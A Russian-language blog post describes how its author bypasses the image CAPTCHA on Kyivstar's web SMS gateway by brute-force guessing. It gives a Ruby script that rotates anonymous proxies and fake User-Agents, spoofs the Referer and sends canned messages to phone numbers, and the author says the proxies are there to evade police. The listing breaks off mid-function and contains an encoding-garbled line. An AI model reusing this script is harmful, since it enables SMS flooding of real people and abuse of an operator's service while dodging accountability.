Отправляем смс без выбора картинок капчи

Как-то давненько, отправляя смс со странички Киевстара, не загрузились картинки капчи (видел 9 вращающихся спинеров, думаю я не один, у кого такое наблюдалось). И я наугад выбрал нужное количество изображений живой природы и на на удивление сообщение было принято. Сразу же родилась идея написать скрипт/программку/робота для избавления пользователя от «рутинного» способа отправки смс.

Воплотить это в жизнь тогда не хватило умений/времени. Немного позже на одной из местных конференций докладчик (Дмитрий Р.) рассказывал про такой же способ и более того сразу продемонстрировал работу — одному добровольцу начали сыпаться смс от Киевстара. Меня передёрнуло. И я начал вынашивать «коварный» план.

Как всё устроено

HTML форма лежит во фрейме по пути smsgate.kyivstar.ua/sms/ Но форму можно получить только отправив POST запрос.
Форма содержит до десятка инпутов(скрытых и доступных пользователю), но самые важные — это:
1. `mobcode` — код номера (3-х значный)
2. `number` — собственно номер (7-ми значный)
3. `message` — сообщение
4. `live_images` — выбранные картинки
5. `images_sid` — ключ вашей формы или id вашего сообщения

С кодом, номером и сообщением — всё понятно, а вот с остальными немного нужно прояснить.
4) В `live_images` картинки попадают в цифровой форме, то есть номера. Например если нужно выбрать 3 картинки, то получим строку «020509» (2-ю, 5-ю и 9-ю картинки).
5) При каждом запросе формы, ей присваивается ключ, который ложится в `images_sid`. И при каждом неудачном отправлении формы — присваивается новый ключ. Этот ключ также дублируется в куке (или не дублируется, а основной; нас это не должно беспокоить, если правильно всё отправлять). Он используется Киевстаром для получения набора картинок для конкретной формы, а так же получать статусы сообщения (постановка в очередь, доставка, не доставка)

Итак приступим

По долгу службы работы я пишу на языке ruby, поэтому скрипт/программу написал именно на нём.
  • Для работы скрипта обязательны подключения следующих либ/гем:
    net/http, uri, active_support
  • При получении и отправке формы скорее всего наш IP записывается, поэтому дабы не быть пойманным отделом К (ну или хотя бы затруднить отлов, а может мы им вообще не нужны ибо нет состава преступления), ходим через анонимный прокси.
  • Для существенного ускорения отправки смс, картинки перебираем в несколько потоков (больше 3-х дает вероятность отправки 1-й смс в течении до полторы минуты, чаще всего получал десятки секунд), один поток ходит только через одну проксю.
  • Внутри потока используем бесконечный цикл с условием остановки отправки сообщения хотя бы одним потоком. Ошибки возникающие при доставке/отправке формы, подавляем.
  • Для удобства список прокси серверов вынес в отдельный файл с простым синтаксисом
    <proxy_ip>:<proxy_port>\n
  • Дабы ещё больше увести от себя взгляд, в каждом потоке рандомно отправляем левый User-Agent.
  • Очень важный нюанс: при отправке формы обязательно нужно указывать «Referer», иначе сервер будет видеть подмену
  • Отправку формы делаем когда требуется указать 2 картинки (так как по комбинаторике это дает меньше всего вариантов, а следовательно большая вероятность попадания), остальные случаи просто пропускаем

Для красивости: при успешной отправке смс проигрываем симатишную мелодию и выводим нотифай(ubuntu).
image
приятная мелодия тыц
notify-send -i ~/scripts/sms.png 'SMS' 'Поставлено в очередь.'

mpg123 ~/scripts/sms_baraban.mp3 -q

Ну и сам листинг
#!/usr/bin/env ruby
 
require "rubygems"
require 'net/http'
require 'uri'
require 'active_support'
class Sms
  CODES = ['067', '098', '097', '096', '039', '068']
  HELLO = ['hello my friend', 'send me money a little', 'how r u', 'hey, watsup',
    'can you call me', 'thanks', 'Im fine, thanks', 'lets go to mountain']
  UA = ["Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.12) Gecko/20101027 Ubuntu/10.04 (lucid) Firefox/3.6.12", "Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.558.0 Safari/534.10", "Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fi-fi) AppleWebKit/420+ (KHTML, like Gecko) Safari/419.3", "Opera/5.11 (Windows 98; U) [en]", "Opera/9.80 (Windows NT 5.1; U; cs) Presto/2.2.15 Version/10.00"]
 
  def initialize proxy
    @ua = UA.rand
    proxies = proxy.split(":")
    @proxy_ip = proxies[0]
    @proxy_port = proxies[1]
  end
 
  def send_data(num, msg, uid, imgs)
    proxy_addr = @proxy_ip
    proxy_port = @proxy_port
    url = "http://smsgate.kyivstar.ua/sms/?lang=en"
    url = URI.parse(url)
    request = Net::HTTP::Post.new(url.path+"?lang=en")
    params = {
      :sms_adv => '0',
      :submitted => 'true',
      :mobcode => "#{num[0..2]}",
      :number => "#{num[3..-1]}",
      :lat => '0',
      :message => "#{msg}",
      :live_images => "#{imgs}",
      :images_sid => "#{uid.to_s}"
    }
    request.set_form_data(params)
    request['cookie'] = "images_sid=#{uid}"
    request['User-Agent'] = @ua
    request['Referer'] = "http://smsgate.kyivstar.ua/sms/?lang=en"
    html = Net::HTTP::Proxy(proxy_addr, proxy_port).start("smsgate.kyivstar.ua") { |http| http.request(request) }
    return html.body
  end
 
  def get_first_html
    url = URI.parse("http://smsgate.kyivstar.ua/sms/")
    proxy_addr = @proxy_ip
    proxy_port = @proxy_port
    request = Net::HTTP::Post.new(url.path)
    request.set_form_data({'lang' => "en"})
    request['User-Agent'] = @ua
    html = Net::HTTP::Proxy(proxy_addr, proxy_port).start("smsgate.kyivstar.ua") { |http| http.request(request) }
    return html.body
  end
 
  def get_uid_and_count(html)
    sid = html.match(/"hidden" name="images_sid" value="(\d+)"/)
    raise "failed to get images_sid" if sid.nil? || sid[1] == 'nonenone'
    count = html.match(/To send SMS please show (\d) images with nature/)
    raise "failed to get image count" if count.nil? || count[1] == 'nonenone'
    return [sid[1], count[1]]
  end
 
  def save_images(uid)
    retries = 4
    begin
      img = open("http://smsgate.kyivstar.ua/sms/images.jpg?id=#{uid}", "Cookie" => "images_sid=#{uid}").read.to_s
      File.open('form.jpg', 'w'){ |f| f.puts img }
      retries -= 1
    rescue
      retry if retries >  0
    end
  end
 
  def random_images(count)
    ok = []
    count.to_i.times do |i|
      notadded = true
      while notadded do
        r = rand(9)+1
        unless ok.include?®
          ok << r
          notadded = false
        end
      end
    end
    ok.sort
  end
 
  def get_result_of_sent(html)
    result = html.match(/<p class="comment">([\w .]+)<\/p>/)
    raise "wrong status of delivering :(" if result.nil? || result[1] == 'nonenone'
    return result[1]
  end
 
  def prepare_img(img_string)
    result = img_string.strip.split(//)
    result = result.join("0")
    result = "0" + result
    result
  end
 
  def ip(html)
    ip = html.match(/\W


0 комментариев

Только зарегистрированные и авторизованные пользователи могут оставлять комментарии.